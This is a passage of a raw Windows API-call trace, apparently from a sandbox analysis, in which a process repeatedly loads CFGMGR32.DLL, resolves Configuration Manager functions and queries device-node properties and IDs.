0x7ffb1ced2570 [0232.106] malloc (_Size=0x18) returned 0x20abc281d60 [0232.107] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1e, ulProperty=0x8, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0232.107] malloc (_Size=0x48) returned 0x20abc27cb20 [0232.107] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x461c4129, dwHighDateTime=0x1d9eb0c)) [0232.108] SetEvent (hEvent=0x248) returned 1 [0232.112] malloc (_Size=0xd8) returned 0x20abc284e70 [0232.112] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0232.112] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0232.113] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0232.113] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0232.113] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0232.113] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0232.114] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0232.114] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0232.114] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0232.114] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0232.114] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0232.114] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0232.115] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0232.115] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0232.115] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0232.115] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0232.115] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0232.116] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0232.116] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0232.116] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0232.116] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0232.116] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0232.117] malloc (_Size=0x18) returned 0x20abc281b60 [0232.117] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1e, ulProperty=0x5, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0232.117] malloc (_Size=0x48) returned 0x20abc27cf80 [0232.117] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x461ea523, dwHighDateTime=0x1d9eb0c)) [0232.118] SetEvent (hEvent=0x248) returned 1 [0232.125] malloc (_Size=0xd8) returned 0x20abc284e70 [0232.125] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0232.125] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0232.126] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0232.126] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0232.126] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0232.126] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0232.126] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0232.127] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0232.127] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0232.127] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0232.127] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0232.127] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0232.127] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0232.128] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0232.128] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0232.128] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0232.128] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0232.128] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0232.129] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0232.191] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0232.192] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0232.192] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0232.193] malloc (_Size=0x18) returned 0x20abc281960 [0232.193] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1e, ulProperty=0x1, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0232.195] malloc (_Size=0x48) returned 0x20abc27cb20 [0232.195] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x462a8e61, dwHighDateTime=0x1d9eb0c)) [0232.195] SetEvent (hEvent=0x248) returned 1 [0232.199] malloc (_Size=0xd8) returned 0x20abc284e70 [0232.199] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0232.200] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0232.200] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0232.200] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0232.200] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0232.200] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0232.200] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0232.200] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0232.201] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0232.201] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0232.201] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0232.201] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0232.201] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0232.201] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0232.201] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0232.202] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0232.202] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0232.202] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0232.202] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0232.202] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0232.202] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0232.202] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0232.203] malloc (_Size=0x18) returned 0x20abc281c80 [0232.203] CM_Get_DevNode_Status (in: pulStatus=0x2dc22fd3f8, pulProblemNumber=0x2dc22fd3a0, dnDevInst=0x1e, ulFlags=0x0 | out: pulStatus=0x2dc22fd3f8, pulProblemNumber=0x2dc22fd3a0) returned 0x0 [0232.203] malloc (_Size=0x48) returned 0x20abc27cb20 [0232.203] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd320 | out: lpSystemTimeAsFileTime=0x2dc22fd320*(dwLowDateTime=0x462a8e61, dwHighDateTime=0x1d9eb0c)) [0232.204] SetEvent (hEvent=0x248) returned 1 [0232.210] malloc (_Size=0xd8) returned 0x20abc284e70 [0232.210] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0232.210] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0232.210] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0232.211] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0232.211] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0232.211] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0232.211] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0232.211] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0232.211] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0232.211] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0232.212] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0232.212] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0232.212] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0232.212] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0232.212] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0232.212] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0232.212] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0232.213] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0232.213] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0232.213] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0232.213] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0232.213] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0232.213] malloc (_Size=0x18) returned 0x20abc282000 [0232.214] CM_Get_First_Log_Conf (in: plcLogConf=0x2dc22fd3e8, dnDevInst=0x1e, ulFlags=0x4 | out: plcLogConf=0x2dc22fd3e8) returned 0xe [0232.214] malloc (_Size=0x48) returned 0x20abc27cf80 [0232.214] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd340 | out: lpSystemTimeAsFileTime=0x2dc22fd340*(dwLowDateTime=0x462cf36d, dwHighDateTime=0x1d9eb0c)) [0232.214] SetEvent (hEvent=0x248) returned 1 [0232.218] malloc (_Size=0xd8) returned 0x20abc284e70 [0232.218] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0232.218] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0232.218] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0232.218] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0232.219] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0232.219] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0232.219] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0232.219] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0232.219] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0232.219] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0232.219] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0232.220] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0232.220] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0232.220] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0232.220] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0232.220] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0232.220] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0232.220] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0232.220] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0232.221] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0232.221] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0232.221] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0232.221] malloc (_Size=0x18) returned 0x20abc281c20 [0232.221] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1e, ulProperty=0xd, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x25 [0232.222] malloc (_Size=0x48) returned 0x20abc27cb20 [0232.222] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x462cf36d, dwHighDateTime=0x1d9eb0c)) [0232.222] SetEvent (hEvent=0x248) returned 1 [0232.228] malloc (_Size=0xd8) returned 0x20abc284e70 [0232.228] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0232.228] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0232.228] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0232.229] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0232.229] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0232.229] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0232.229] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0232.229] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0232.229] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0232.229] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0232.230] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0232.230] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0232.230] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0232.230] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0232.230] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0232.230] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0232.230] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0232.230] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0232.231] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0232.231] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0232.231] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0232.231] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0232.231] malloc (_Size=0x18) returned 0x20abc282080 [0232.232] CM_Get_Device_IDA (in: dnDevInst=0x1f, Buffer=0x2dc22fd2e0, BufferLen=0xc9, ulFlags=0x0 | out: Buffer="DISPLAY\\DELA007\\4&27B1E55B&0&UID0") returned 0x0 [0232.232] malloc (_Size=0x48) returned 0x20abc27cb20 [0232.232] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd250 | out: lpSystemTimeAsFileTime=0x2dc22fd250*(dwLowDateTime=0x462f5227, dwHighDateTime=0x1d9eb0c)) [0232.232] SetEvent (hEvent=0x248) returned 1 [0232.235] malloc (_Size=0xd8) returned 0x20abc284e70 [0232.235] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0232.236] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0232.236] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0232.236] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0232.236] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0232.236] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0232.236] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0232.236] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0232.237] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0232.237] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0232.237] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0232.237] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0232.237] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0232.237] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0232.237] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0232.238] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0232.238] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0232.238] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0232.285] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0232.285] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0232.286] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0232.286] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0232.287] malloc (_Size=0x18) returned 0x20abc281a80 [0232.287] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1f, ulProperty=0x2, pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8) returned 0x1a [0232.287] malloc (_Size=0x22) returned 0x20abc2a9e80 [0232.288] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1f, ulProperty=0x2, pulRegDataType=0x2dc22fd360, Buffer=0x20abc2a9e80, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x20abc2a9e80, pulLength=0x2dc22fd3f8) returned 0x0 [0232.289] free (_Block=0x20abc2a9e80) [0232.289] malloc (_Size=0x48) returned 0x20abc27cf80 [0232.289] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd2c0 | out: lpSystemTimeAsFileTime=0x2dc22fd2c0*(dwLowDateTime=0x4638dc44, dwHighDateTime=0x1d9eb0c)) [0232.289] SetEvent (hEvent=0x248) returned 1 [0232.292] malloc (_Size=0x18) returned 0x20abc281e00 [0232.292] SafeArrayPutElement (psa=0x20abba7ffd0, rgIndices=0x2dc22fd4c8, pv=0x20abba63728) returned 0x0 [0232.292] free (_Block=0x20abc281e00) [0232.292] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x78) returned 0x20abbb0d570 [0232.292] SafeArrayGetDim (psa=0x20abba7ffd0) returned 0x1 [0232.292] SafeArrayGetLBound (in: psa=0x20abba7ffd0, nDim=0x1, plLbound=0x2dc22fd190 | out: plLbound=0x2dc22fd190) returned 0x0 [0232.293] SafeArrayGetUBound (in: psa=0x20abba7ffd0, nDim=0x1, plUbound=0x2dc22fd1b0 | out: plUbound=0x2dc22fd1b0) returned 0x0 [0232.293] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x28) returned 0x20abba79c40 [0232.293] SafeArrayGetDim (psa=0x20abba7ffd0) returned 0x1 [0232.293] SafeArrayGetUBound (in: psa=0x20abba7ffd0, nDim=0x1, plUbound=0x2dc22fd158 | out: plUbound=0x2dc22fd158) returned 0x0 [0232.293] SafeArrayGetElemsize (psa=0x20abba7ffd0) returned 0x8 [0232.293] SafeArrayGetElement (in: psa=0x20abba7ffd0, rgIndices=0x2dc22fd048, pv=0x2dc22fd050 | out: pv=0x2dc22fd050) returned 0x0 [0232.293] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abc4023b0, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0232.294] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abba79c40) returned 1 [0232.295] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abbb0d570) returned 1 [0232.297] malloc (_Size=0xd8) returned 0x20abc284e70 [0232.297] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0232.297] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0232.298] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0232.298] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0232.299] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0232.299] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0232.299] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0232.300] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0232.300] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0232.300] GetProcAddress 